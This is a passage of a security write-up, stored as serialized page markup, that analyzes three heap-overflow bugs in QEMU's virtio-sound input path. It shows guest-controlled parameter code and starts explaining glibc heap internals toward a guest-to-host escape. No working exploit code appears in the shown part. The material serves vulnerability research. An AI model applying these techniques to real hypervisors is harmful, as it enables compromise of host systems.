hildren":124931},{"style":168},[124932],{"type":28,"value":14533},{"type":23,"tag":134,"props":124934,"children":124935},{"style":179},[124936],{"type":28,"value":124114},{"type":23,"tag":134,"props":124938,"children":124939},{"class":136,"line":23123},[124940,124945,124949],{"type":23,"tag":134,"props":124941,"children":124942},{"style":179},[124943],{"type":28,"value":124944},"                available ",{"type":23,"tag":134,"props":124946,"children":124947},{"style":168},[124948],{"type":28,"value":103497},{"type":23,"tag":134,"props":124950,"children":124951},{"style":179},[124952],{"type":28,"value":124114},{"type":23,"tag":134,"props":124954,"children":124955},{"class":136,"line":23131},[124956],{"type":23,"tag":134,"props":124957,"children":124958},{"style":179},[124959],{"type":28,"value":124960},"                [...]\n",{"type":23,"tag":134,"props":124962,"children":124963},{"class":136,"line":23139},[124964],{"type":23,"tag":134,"props":124965,"children":124966},{"style":179},[124967],{"type":28,"value":58392},{"type":23,"tag":134,"props":124969,"children":124970},{"class":136,"line":23148},[124971],{"type":23,"tag":134,"props":124972,"children":124973},{"style":179},[124974],{"type":28,"value":524},{"type":23,"tag":134,"props":124976,"children":124977},{"class":136,"line":23224},[124978],{"type":23,"tag":134,"props":124979,"children":124980},{"style":179},[124981],{"type":28,"value":533},{"type":23,"tag":134,"props":124983,"children":124984},{"class":136,"line":23257},[124985],{"type":23,"tag":134,"props":124986,"children":124987},{"style":179},[124988],{"type":28,"value":1098},{"type":23,"tag":24,"props":124990,"children":124991},{},[124992,124993,124998,124999,125005,125007,125013,125015,125020,125021,125026,125028,125033],{"type":28,"value":123894},{"type":23,"tag":92,"props":124994,"children":124996},{"className":124995},[],[124997],{"type":28,"value":123900},{"type":28,"value":242},{"type":23,"tag":92,"props":125000,"children":125002},{"className":125001},[],[125003],{"type":28,"value":125004},"max_size",{"type":28,"value":125006}," is set to ",{"type":23,"tag":92,"props":125008,"children":125010},{"className":125009},[],[125011],{"type":28,"value":125012},"iov_size(in_sg, in_num)",{"type":28,"value":125014},". Both ",{"type":23,"tag":92,"props":125016,"children":125018},{"className":125017},[],[125019],{"type":28,"value":123625},{"type":28,"value":10458},{"type":23,"tag":92,"props":125022,"children":125024},{"className":125023},[],[125025],{"type":28,"value":123642},{"type":28,"value":125027}," are the same guest-controlled fields from ",{"type":23,"tag":92,"props":125029,"children":125031},{"className":125030},[],[125032],{"type":28,"value":123277},{"type":28,"value":720},{"type":23,"tag":24,"props":125035,"children":125036},{},[125037,125039,125044,125046,125052,125054,125060,125062,125068],{"type":28,"value":125038},"Later, at ",{"type":23,"tag":92,"props":125040,"children":125042},{"className":125041},[],[125043],{"type":28,"value":123935},{"type":28,"value":125045},", the code checks whether ",{"type":23,"tag":92,"props":125047,"children":125049},{"className":125048},[],[125050],{"type":28,"value":125051},"buffer->size >= max_size",{"type":28,"value":125053},". In the RX path, ",{"type":23,"tag":92,"props":125055,"children":125057},{"className":125056},[],[125058],{"type":28,"value":125059},"buffer->size",{"type":28,"value":125061}," tracks how many bytes have been written into ",{"type":23,"tag":92,"props":125063,"children":125065},{"className":125064},[],[125066],{"type":28,"value":125067},"buffer->data",{"type":28,"value":125069},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":125071,"children":125072},{},[125073,125075,125080,125082,125088,125090,125095,125097,125103],{"type":28,"value":125074},"However, this does not match the allocation logic in ",{"type":23,"tag":92,"props":125076,"children":125078},{"className":125077},[],[125079],{"type":28,"value":123277},{"type":28,"value":125081},", which used: ",{"type":23,"tag":92,"props":125083,"children":125085},{"className":125084},[],[125086],{"type":28,"value":125087},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":125089},". In other words, the allocation subtracts ",{"type":23,"tag":92,"props":125091,"children":125093},{"className":125092},[],[125094],{"type":28,"value":124001},{"type":28,"value":125096},", but the later bound in ",{"type":23,"tag":92,"props":125098,"children":125100},{"className":125099},[],[125101],{"type":28,"value":125102},"virtio_snd_pcm_in_cb",{"type":28,"value":125104}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":125106,"children":125107},{},[125108,125110,125115,125117,125123,125125,125131,125133,125138,125140,125146,125148,125154,125156,125161,125163,125168],{"type":28,"value":125109},"Finally, at ",{"type":23,"tag":92,"props":125111,"children":125113},{"className":125112},[],[125114],{"type":28,"value":123959},{"type":28,"value":125116},", the code calls ",{"type":23,"tag":92,"props":125118,"children":125120},{"className":125119},[],[125121],{"type":28,"value":125122},"AUD_read",{"type":28,"value":125124}," with the following limit:\n",{"type":23,"tag":92,"props":125126,"children":125128},{"className":125127},[],[125129],{"type":28,"value":125130},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":125132},". Notice how this bound does not take ",{"type":23,"tag":92,"props":125134,"children":125136},{"className":125135},[],[125137],{"type":28,"value":125004},{"type":28,"value":125139}," into account at all. That means if ",{"type":23,"tag":92,"props":125141,"children":125143},{"className":125142},[],[125144],{"type":28,"value":125145},"available",{"type":28,"value":125147}," is larger than the allocated buffer, and ",{"type":23,"tag":92,"props":125149,"children":125151},{"className":125150},[],[125152],{"type":28,"value":125153},"stream->params.period_bytes",{"type":28,"value":125155}," is also larger than the allocated buffer, ",{"type":23,"tag":92,"props":125157,"children":125159},{"className":125158},[],[125160],{"type":28,"value":125122},{"type":28,"value":125162}," will write past the end of ",{"type":23,"tag":92,"props":125164,"children":125166},{"className":125165},[],[125167],{"type":28,"value":125067},{"type":28,"value":125169}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":125171,"children":125172},{},[125173,125175,125180,125182,125188],{"type":28,"value":125174},"Looking further at the code, we can see that ",{"type":23,"tag":92,"props":125176,"children":125178},{"className":125177},[],[125179],{"type":28,"value":125153},{"type":28,"value":125181}," is fully guest-controlled by issuing a ",{"type":23,"tag":92,"props":125183,"children":125185},{"className":125184},[],[125186],{"type":28,"value":125187},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":125189}," request:",{"type":23,"tag":87,"props":125191,"children":125193},{"code":125192,"language":315,"meta":7,"className":15985,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[125194],{"type":23,"tag":92,"props":125195,"children":125196},{"__ignoreMap":7},[125197,125205,125234,125251,125271,125278,125295,125302,125309,125316,125338,125345,125352,125359,125405,125448,125492,125500,125537,125573,125609,125616,125633],{"type":23,"tag":134,"props":125198,"children":125199},{"class":136,"line":137},[125200],{"type":23,"tag":134,"props":125201,"children":125202},{"style":151},[125203],{"type":28,"value":125204},"static\n",{"type":23,"tag":134,"props":125206,"children":125207},{"class":136,"line":147},[125208,125212,125217,125222,125226,125230],{"type":23,"tag":134,"props":125209,"children":125210},{"style":151},[125211],{"type":28,"value":57440},{"type":23,"tag":134,"props":125213,"children":125214},{"style":264},[125215],{"type":28,"value":125216}," virtio_snd_set_pcm_params",{"type":23,"tag":134,"props":125218,"children":125219},{"style":179},[125220],{"type":28,"value":125221},"(VirtIOSound ",{"type":23,"tag":134,"props":125223,"children":125224},{"style":168},[125225],{"type":28,"value":1777},{"type":23,"tag":134,"props":125227,"children":125228},{"style":162},[125229],{"type":28,"value":10117},{"type":23,"tag":134,"props":125231,"children":125232},{"style":179},[125233],{"type":28,"value":687},{"type":23,"tag":134,"props":125235,"children":125236},{"class":136,"line":185},[125237,125242,125247],{"type":23,"tag":134,"props":125238,"children":125239},{"style":151},[125240],{"type":28,"value":125241},"                                   uint32_t",{"type":23,"tag":134,"props":125243,"children":125244},{"style":162},[125245],{"type":28,"value":125246}," stream_id",{"type":23,"tag":134,"props":125248,"children":125249},{"style":179},[125250],{"type":28,"value":687},{"type":23,"tag":134,"props":125252,"children":125253},{"class":136,"line":221},[125254,125259,125263,125267],{"type":23,"tag":134,"props":125255,"children":125256},{"style":179},[125257],{"type":28,"value":125258},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":134,"props":125260,"children":125261},{"style":168},[125262],{"type":28,"value":1777},{"type":23,"tag":134,"props":125264,"children":125265},{"style":162},[125266],{"type":28,"value":97794},{"type":23,"tag":134,"props":125268,"children":125269},{"style":179},[125270],{"type":28,"value":329},{"type":23,"tag":134,"props":125272,"children":125273},{"class":136,"line":332},[125274],{"type":23,"tag":134,"props":125275,"children":125276},{"style":179},[125277],{"type":28,"value":10346},{"type":23,"tag":134,"props":125279,"children":125280},{"class":136,"line":438},[125281,125286,125290],{"type":23,"tag":134,"props":125282,"children":125283},{"style":179},[125284],{"type":28,"value":125285},"    virtio_snd_pcm_set_params ",{"type":23,"tag":134,"props":125287,"children":125288},{"style":168},[125289],{"type":28,"value":1777},{"type":23,"tag":134,"props":125291,"children":125292},{"style":179},[125293],{"type":28,"value":125294},"st_params;\n",{"type":23,"tag":134,"props":125296,"children":125297},{"class":136,"line":466},[125298],{"type":23,"tag":134,"props":125299,"children":125300},{"emptyLinePlaceholder":15},[125301],{"type":28,"value":865},{"type":23,"tag":134,"props":125303,"children":125304},{"class":136,"line":479},[125305],{"type":23,"tag":134,"props":125306,"children":125307},{"style":179},[125308],{"type":28,"value":104313},{"type":23,"tag":134,"props":125310,"children":125311},{"class":136,"line":497},[125312],{"type":23,"tag":134,"props":125313,"children":125314},{"emptyLinePlaceholder":15},[125315],{"type":28,"value":865},{"type":23,"tag":134,"props":125317,"children":125318},{"class":136,"line":518},[125319,125324,125328,125333],{"type":23,"tag":134,"props":125320,"children":125321},{"style":179},[125322],{"type":28,"value":125323},"    st_params ",{"type":23,"tag":134,"props":125325,"children":125326},{"style":168},[125327],{"type":28,"value":257},{"type":23,"tag":134,"props":125329,"children":125330},{"style":264},[125331],{"type":28,"value":125332}," virtio_snd_pcm_get_params",{"type":23,"tag":134,"props":125334,"children":125335},{"style":179},[125336],{"type":28,"value":125337},"(s, stream_id);\n",{"type":23,"tag":134,"props":125339,"children":125340},{"class":136,"line":527},[125341],{"type":23,"tag":134,"props":125342,"children":125343},{"emptyLinePlaceholder":15},[125344],{"type":28,"value":865},{"type":23,"tag":134,"props":125346,"children":125347},{"class":136,"line":780},[125348],{"type":23,"tag":134,"props":125349,"children":125350},{"style":179},[125351],{"type":28,"value":104313},{"type":23,"tag":134,"props":125353,"children":125354},{"class":136,"line":797},[125355],{"type":23,"tag":134,"props":125356,"children":125357},{"emptyLinePlaceholder":15},[125358],{"type":28,"value":865},{"type":23,"tag":134,"props":125360,"children":125361},{"class":136,"line":814},[125362,125367,125371,125376,125380,125385,125389,125393,125397,125401],{"type":23,"tag":134,"props":125363,"children":125364},{"style":162},[125365],{"type":28,"value":125366},"    st_params",{"type":23,"tag":134,"props":125368,"children":125369},{"style":179},[125370],{"type":28,"value":13225},{"type":23,"tag":134,"props":125372,"children":125373},{"style":162},[125374],{"type":28,"value":125375},"buffer_bytes",{"type":23,"tag":134,"props":125377,"children":125378},{"style":168},[125379],{"type":28,"value":171},{"type":23,"tag":134,"props":125381,"children":125382},{"style":264},[125383],{"type":28,"value":125384}," le32_to_cpu",{"type":23,"tag":134,"props":125386,"children":125387},{"style":179},[125388],{"type":28,"value":272},{"type":23,"tag":134,"props":125390,"children":125391},{"style":162},[125392],{"type":28,"value":97794},{"type":23,"tag":134,"props":125394,"children":125395},{"style":179},[125396],{"type":28,"value":13225},{"type":23,"tag":134,"props":125398,"children":125399},{"style":162},[125400],{"type":28,"value":125375},{"type":23,"tag":134,"props":125402,"children":125403},{"style":179},[125404],{"type":28,"value":1021},{"type":23,"tag":134,"props":125406,"children":125407},{"class":136,"line":827},[125408,125412,125416,125420,125424,125428,125432,125436,125440,125444],{"type":23,"tag":134,"props":125409,"children":125410},{"style":162},[125411],{"type":28,"value":125366},{"type":23,"tag":134,"props":125413,"children":125414},{"style":179},[125415],{"type":28,"value":13225},{"type":23,"tag":134,"props":125417,"children":125418},{"style":162},[125419],{"type":28,"value":124825},{"type":23,"tag":134,"props":125421,"children":125422},{"style":168},[125423],{"type":28,"value":171},{"type":23,"tag":134,"props":125425,"children":125426},{"style":264},[125427],{"type":28,"value":125384},{"type":23,"tag":134,"props":125429,"children":125430},{"style":179},[125431],{"type":28,"value":272},{"type":23,"tag":134,"props":125433,"children":125434},{"style":162},[125435],{"type":28,"value":97794},{"type":23,"tag":134,"props":125437,"children":125438},{"style":179},[125439],{"type":28,"value":13225},{"type":23,"tag":134,"props":125441,"children":125442},{"style":162},[125443],{"type":28,"value":124825},{"type":23,"tag":134,"props":125445,"children":125446},{"style":179},[125447],{"type":28,"value":1021},{"type":23,"tag":134,"props":125449,"children":125450},{"class":136,"line":836},[125451,125455,125459,125464,125468,125472,125476,125480,125484,125488],{"type":23,"tag":134,"props":125452,"children":125453},{"style":162},[125454],{"type":28,"value":125366},{"type":23,"tag":134,"props":125456,"children":125457},{"style":179},[125458],{"type":28,"value":13225},{"type":23,"tag":134,"props":125460,"children":125461},{"style":162},[125462],{"type":28,"value":125463},"features",{"type":23,"tag":134,"props":125465,"children":125466},{"style":168},[125467],{"type":28,"value":171},{"type":23,"tag":134,"props":125469,"children":125470},{"style":264},[125471],{"type":28,"value":125384},{"type":23,"tag":134,"props":125473,"children":125474},{"style":179},[125475],{"type":28,"value":272},{"type":23,"tag":134,"props":125477,"children":125478},{"style":162},[125479],{"type":28,"value":97794},{"type":23,"tag":134,"props":125481,"children":125482},{"style":179},[125483],{"type":28,"value":13225},{"type":23,"tag":134,"props":125485,"children":125486},{"style":162},[125487],{"type":28,"value":125463},{"type":23,"tag":134,"props":125489,"children":125490},{"style":179},[125491],{"type":28,"value":1021},{"type":23,"tag":134,"props":125493,"children":125494},{"class":136,"line":859},[125495],{"type":23,"tag":134,"props":125496,"children":125497},{"style":141},[125498],{"type":28,"value":125499},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":134,"props":125501,"children":125502},{"class":136,"line":868},[125503,125507,125511,125516,125520,125525,125529,125533],{"type":23,"tag":134,"props":125504,"children":125505},{"style":162},[125506],{"type":28,"value":125366},{"type":23,"tag":134,"props":125508,"children":125509},{"style":179},[125510],{"type":28,"value":13225},{"type":23,"tag":134,"props":125512,"children":125513},{"style":162},[125514],{"type":28,"value":125515},"channels",{"type":23,"tag":134,"props":125517,"children":125518},{"style":168},[125519],{"type":28,"value":171},{"type":23,"tag":134,"props":125521,"children":125522},{"style":162},[125523],{"type":28,"value":125524}," params",{"type":23,"tag":134,"props":125526,"children":125527},{"style":179},[125528],{"type":28,"value":13225},{"type":23,"tag":134,"props":125530,"children":125531},{"style":162},[125532],{"type":28,"value":125515},{"type":23,"tag":134,"props":125534,"children":125535},{"style":179},[125536],{"type":28,"value":182},{"type":23,"tag":134,"props":125538,"children":125539},{"class":136,"line":877},[125540,125544,125548,125553,125557,125561,125565,125569],{"type":23,"tag":134,"props":125541,"children":125542},{"style":162},[125543],{"type":28,"value":125366},{"type":23,"tag":134,"props":125545,"children":125546},{"style":179},[125547],{"type":28,"value":13225},{"type":23,"tag":134,"props":125549,"children":125550},{"style":162},[125551],{"type":28,"value":125552},"format",{"type":23,"tag":134,"props":125554,"children":125555},{"style":168},[125556],{"type":28,"value":171},{"type":23,"tag":134,"props":125558,"children":125559},{"style":162},[125560],{"type":28,"value":125524},{"type":23,"tag":134,"props":125562,"children":125563},{"style":179},[125564],{"type":28,"value":13225},{"type":23,"tag":134,"props":125566,"children":125567},{"style":162},[125568],{"type":28,"value":125552},{"type":23,"tag":134,"props":125570,"children":125571},{"style":179},[125572],{"type":28,"value":182},{"type":23,"tag":134,"props":125574,"children":125575},{"class":136,"line":946},[125576,125580,125584,125589,125593,125597,125601,125605],{"type":23,"tag":134,"props":125577,"children":125578},{"style":162},[125579],{"type":28,"value":125366},{"type":23,"tag":134,"props":125581,"children":125582},{"style":179},[125583],{"type":28,"value":13225},{"type":23,"tag":134,"props":125585,"children":125586},{"style":162},[125587],{"type":28,"value":125588},"rate",{"type":23,"tag":134,"props":125590,"children":125591},{"style":168},[125592],{"type":28,"value":171},{"type":23,"tag":134,"props":125594,"children":125595},{"style":162},[125596],{"type":28,"value":125524},{"type":23,"tag":134,"props":125598,"children":125599},{"style":179},[125600],{"type":28,"value":13225},{"type":23,"tag":134,"props":125602,"children":125603},{"style":162},[125604],{"type":28,"value":125588},{"type":23,"tag":134,"props":125606,"children":125607},{"style":179},[125608],{"type":28,"value":182},{"type":23,"tag":134,"props":125610,"children":125611},{"class":136,"line":954},[125612],{"type":23,"tag":134,"props":125613,"children":125614},{"emptyLinePlaceholder":15},[125615],{"type":28,"value":865},{"type":23,"tag":134,"props":125617,"children":125618},{"class":136,"line":984},[125619,125623,125628],{"type":23,"tag":134,"props":125620,"children":125621},{"style":189},[125622],{"type":28,"value":16461},{"type":23,"tag":134,"props":125624,"children":125625},{"style":264},[125626],{"type":28,"value":125627}," cpu_to_le32",{"type":23,"tag":134,"props":125629,"children":125630},{"style":179},[125631],{"type":28,"value":125632},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":134,"props":125634,"children":125635},{"class":136,"line":992},[125636],{"type":23,"tag":134,"props":125637,"children":125638},{"style":179},[125639],{"type":28,"value":1098},{"type":23,"tag":24,"props":125641,"children":125642},{},[125643,125645,125650,125652,125658,125660,125665,125667,125672,125674,125680,125681,125686],{"type":28,"value":125644},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":92,"props":125646,"children":125648},{"className":125647},[],[125649],{"type":28,"value":600},{"type":28,"value":125651},") and signed (",{"type":23,"tag":92,"props":125653,"children":125655},{"className":125654},[],[125656],{"type":28,"value":125657},"s8",{"type":28,"value":125659},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":92,"props":125661,"children":125663},{"className":125662},[],[125664],{"type":28,"value":28933},{"type":28,"value":125666}," in ",{"type":23,"tag":92,"props":125668,"children":125670},{"className":125669},[],[125671],{"type":28,"value":600},{"type":28,"value":125673},", but ",{"type":23,"tag":92,"props":125675,"children":125677},{"className":125676},[],[125678],{"type":28,"value":125679},"0x00",{"type":28,"value":125666},{"type":23,"tag":92,"props":125682,"children":125684},{"className":125683},[],[125685],{"type":28,"value":125657},{"type":28,"value":720},{"type":23,"tag":18268,"props":125688,"children":125689},{},[],{"type":23,"tag":24,"props":125691,"children":125692},{},[125693],{"type":28,"value":125694},"To summarize:",{"type":23,"tag":4890,"props":125696,"children":125697},{},[125698,125717,125735],{"type":23,"tag":4894,"props":125699,"children":125700},{},[125701,125703,125708,125710,125715],{"type":28,"value":125702},"an integer underflow in the ",{"type":23,"tag":92,"props":125704,"children":125706},{"className":125705},[],[125707],{"type":28,"value":123772},{"type":28,"value":125709}," calculation in ",{"type":23,"tag":92,"props":125711,"children":125713},{"className":125712},[],[125714],{"type":28,"value":123277},{"type":28,"value":125716},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":4894,"props":125718,"children":125719},{},[125720,125722,125727,125728,125733],{"type":28,"value":125721},"a mismatch in the ",{"type":23,"tag":92,"props":125723,"children":125725},{"className":125724},[],[125726],{"type":28,"value":125004},{"type":28,"value":125709},{"type":23,"tag":92,"props":125729,"children":125731},{"className":125730},[],[125732],{"type":28,"value":125102},{"type":28,"value":125734},", leading to at most 8-byte OOB write",{"type":23,"tag":4894,"props":125736,"children":125737},{},[125738,125740,125745,125747,125752,125754,125759],{"type":28,"value":125739},"a missing bound in the ",{"type":23,"tag":92,"props":125741,"children":125743},{"className":125742},[],[125744],{"type":28,"value":123772},{"type":28,"value":125746}," passed to ",{"type":23,"tag":92,"props":125748,"children":125750},{"className":125749},[],[125751],{"type":28,"value":125122},{"type":28,"value":125753},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":92,"props":125755,"children":125757},{"className":125756},[],[125758],{"type":28,"value":125145},{"type":28,"value":81801},{"type":23,"tag":24,"props":125761,"children":125762},{},[125763,125765,125770,125772,125777,125779,125785],{"type":28,"value":125764},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":92,"props":125766,"children":125768},{"className":125767},[],[125769],{"type":28,"value":125145},{"type":28,"value":125771},", but in our setup with the ALSA backend, ",{"type":23,"tag":92,"props":125773,"children":125775},{"className":125774},[],[125776],{"type":28,"value":125145},{"type":28,"value":125778}," was consistently around ",{"type":23,"tag":92,"props":125780,"children":125782},{"className":125781},[],[125783],{"type":28,"value":125784},"4096",{"type":28,"value":720},{"type":23,"tag":24,"props":125787,"children":125788},{},[125789,125791,125798,125799,125806],{"type":28,"value":125790},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":31,"props":125792,"children":125795},{"href":125793,"rel":125794},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[35],[125796],{"type":28,"value":125797},"commit 1",{"type":28,"value":242},{"type":23,"tag":31,"props":125800,"children":125803},{"href":125801,"rel":125802},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[35],[125804],{"type":28,"value":125805},"commit 2",{"type":28,"value":125807},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":61,"props":125809,"children":125810},{"id":99620},[125811],{"type":28,"value":99623},{"type":23,"tag":24,"props":125813,"children":125814},{},[125815],{"type":28,"value":125816},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":125818,"children":125819},{},[125820],{"type":28,"value":125821},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":9072,"props":125823,"children":125825},{"id":125824},"achieving-a-better-primitive",[125826],{"type":28,"value":125827},"Achieving a Better Primitive",{"type":23,"tag":24,"props":125829,"children":125830},{},[125831],{"type":28,"value":125832},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":125834,"children":125835},{},[125836],{"type":28,"value":125837},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":125839,"children":125840},{},[125841],{"type":28,"value":125842},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":18368,"props":125844,"children":125846},{"id":125845},"glibc-allocator",[125847],{"type":28,"value":125848},"Glibc Allocator",{"type":23,"tag":24,"props":125850,"children":125851},{},[125852,125854,125861],{"type":28,"value":125853},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":31,"props":125855,"children":125858},{"href":125856,"rel":125857},"https://github.com/shellphish/how2heap",[35],[125859],{"type":28,"value":125860},"how2heap",{"type":28,"value":720},{"type":23,"tag":36844,"props":125863,"children":125865},{"id":125864},"chunk-layout-and-bins",[125866],{"type":28,"value":125867},"Chunk Layout and Bins",{"type":23,"tag":24,"props":125869,"children":125870},{},[125871],{"type":28,"value":125872},"A chunk looks like this:",{"type":23,"tag":87,"props":125874,"children":125876},{"code":125875},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[125877],{"type":23,"tag":92,"props":125878,"children":125879},{"__ignoreMap":7},[125880],{"type":28,"value":125875},{"type":23,"tag":24,"props":125882,"children":125883},{},[125884,125886,125892,125894,125900,125901,125906,125907,125913,125915,125920,125922,125927,125929,125935,125936,125942,125944,125950],{"type":28,"value":125885},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":92,"props":125887,"children":125889},{"className":125888},[],[125890],{"type":28,"value":125891},"prev_size",{"type":28,"value":125893}," field at offset ",{"type":23,"tag":92,"props":125895,"children":125897},{"className":125896},[],[125898],{"type":28,"value":125899},"0x0",{"type":28,"value":37048},{"type":23,"tag":92,"props":125902,"children":125904},{"className":125903},[],[125905],{"type":28,"value":123772},{"type":28,"value":125893},{"type":23,"tag":92,"props":125908,"children":125910},{"className":125909},[],[125911],{"type":28,"value":125912},"0x8",{"type":28,"value":125914},". As the name suggests, ",{"type":23,"tag":92,"props":125916,"children":125918},{"className":125917},[],[125919],{"type":28,"value":125891},{"type":28,"value":125921}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":92,"props":125923,"children":125925},{"className":125924},[],[125926],{"type":28,"value":123772},{"type":28,"value":125928}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":92,"props":125930,"children":125932},{"className":125931},[],[125933],{"type":28,"value":125934},"PREV_INUSE",{"type":28,"value":10458},{"type":23,"tag":92,"props":125937,"children":125939},{"className":125938},[],[125940],{"type":28,"value":125941},"IS_MMAPPED",{"type":28,"value":125943}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":92,"props":125945,"children":125947},{"className":125946},[],[125948],{"type":28,"value":125949},"0x10",{"type":28,"value":720},{"type":23,"tag":24,"props":125952,"children":125953},{},[125954],{"type":28,"value":125955},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":36844,"props":125957,"children":125959},{"id":125958},"free-path",[125960],{"type":28,"value":125961},"free() path",{"type":23,"tag":24,"props":125963,"children":125964},{},[125965,125967,125973],{"type":28,"value":125966},"Let’s first look at the ",{"type":23,"tag":92,"props":125968,"children":125970},{"className":125969},[],[125971],{"type":28,"value":125972},"free()",{"type":28,"value":125974}," path in glibc 2.40:",{"type":23,"tag":87,"props":125976,"children":125978},{"code":125977,"language":315,"meta":7,"className":15985,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[125979],{"type":23,"tag":92,"props":125980,"children":125981},{"__ignoreMap":7},[125982,126010,126017,126025,126033,126040,126062,126083,126090,126103,126110,126118,126125,126138,126145,126166,126187,126194],{"type":23,"tag":134,"props":125983,"children":125984},{"class":136,"line":137},[125985,125990,125994,125998,126002,126006],{"type":23,"tag":134,"props":125986,"children":125987},{"style":264},[125988],{"type":28,"value":125989},"__libc_free",{"type":23,"tag":134,"props":125991,"children":125992},{"style":179},[125993],{"type":28,"value":232},{"type":23,"tag":134,"props":125995,"children":125996},{"style":151},[125997],{"type":28,"value":51133},{"type":23,"tag":134,"props":125999,"children":126000},{"style":168},[126001],{"type":28,"value":9281},{"type":23,"tag":134,"props":126003,"children":126004},{"style":162},[126005],{"type":28,"value":40163},{"type":23,"tag":134,"props":126007,"children":126008},{"style":179},[126009],{"type":28,"value":329},{"type":23,"tag":134,"props":126011,"children":126012},{"class":136,"line":147},[126013],{"type":23,"tag":134,"props":126014,"children":126015},{"style":179},[126016],{"type":28,"value":10346},{"type":23,"tag":134,"props":126018,"children":126019},{"class":136,"line":185},[126020],{"type":23,"tag":134,"props":126021,"children":126022},{"style":179},[126023],{"type":28,"value":126024},"  mstate ar_ptr;\n",{"type":23,"tag":134,"props":126026,"children":126027},{"class":136,"line":221},[126028],{"type":23,"tag":134,"props":126029,"children":126030},{"style":179},[126031],{"type":28,"value":126032},"  mchunkptr p;\n",{"type":23,"tag":134,"props":126034,"children":126035},{"class":136,"line":332},[126036],{"type":23,"tag":134,"props":126037,"children":126038},{"emptyLinePlaceholder":15},[126039],{"type":28,"value":865},{"type":23,"tag":134,"props":126041,"children":126042},{"class":136,"line":438},[126043,126048,126052,126057],{"type":23,"tag":134,"props":126044,"children":126045},{"style":179},[126046],{"type":28,"value":126047},"  p ",{"type":23,"tag":134,"props":126049,"children":126050},{"style":168},[126051],{"type":28,"value":257},{"type":23,"tag":134,"props":126053,"children":126054},{"style":264},[126055],{"type":28,"value":126056}," mem2chunk",{"type":23,"tag":134,"props":126058,"children":126059},{"style":179},[126060],{"type":28,"value":126061}," 